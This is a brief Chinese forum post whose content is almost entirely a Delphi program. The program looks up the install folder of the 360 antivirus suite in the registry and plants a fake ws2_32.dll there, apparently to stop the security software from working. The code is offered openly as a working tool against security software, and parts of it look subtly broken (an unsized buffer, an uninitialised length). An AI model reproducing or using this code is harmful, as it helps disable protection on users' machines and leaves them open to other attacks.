ws2_32.dll屏蔽360(Delphi)
ws2_32.dll屏蔽360(Delphi)ws2_32.dll屏蔽360 for delphi
program test360;
uses Windows;
function GetVersion: string;
var
s: Hkey;
iev:array of char;
iiev:integer;
begin
RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe\', 0, KEY_ALL_ACCESS, s);
RegQueryvalueEx(s,'Path',nil,nil,@iev,@iiev);
RegCloseKey(s);
result:= string(iev);
end;
var
f:textfile;
begin
assignfile(f,PChar(GetVersion)+'\ws2_32.dll');
rewrite(f);
writeln(f,'360是笨蛋');
closefile(f);
end.
页:
[1]